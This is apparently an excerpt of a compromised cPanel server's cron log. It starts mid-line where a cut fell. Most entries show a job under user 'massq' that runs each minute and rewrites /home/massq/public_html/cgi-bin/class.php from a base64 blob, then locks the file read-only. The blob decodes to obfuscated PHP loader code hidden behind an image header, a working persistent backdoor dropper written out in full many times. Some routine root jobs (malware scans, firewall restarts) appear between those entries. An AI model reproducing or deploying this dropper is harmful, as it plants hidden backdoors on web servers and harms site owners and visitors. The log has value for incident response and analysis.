g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:47:01 server CROND[20920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:48:01 server CROND[21092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:49:01 server CROND[21165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:50:01 server CROND[21219]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:50:01 server CROND[21220]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 23:50:01 server CROND[21223]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 23:50:01 server CROND[21227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:50:01 server CROND[21224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:51:01 server CROND[21330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:52:01 server CROND[21379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:53:01 server CROND[21424]: (root) CMD (/usr/lib64/sa/sa2 -A)
Apr 10 23:53:01 server CROND[21425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:54:01 server CROND[21633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:55:02 server CROND[21685]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:55:02 server CROND[21686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:55:02 server CROND[21684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:56:01 server CROND[21785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:57:01 server CROND[21833]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 23:57:01 server CROND[21834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:58:01 server CROND[21903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:59:01 server CROND[22073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:00:01 server CROND[22136]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Apr 11 00:00:01 server CROND[22138]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 00:00:01 server CROND[22139]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
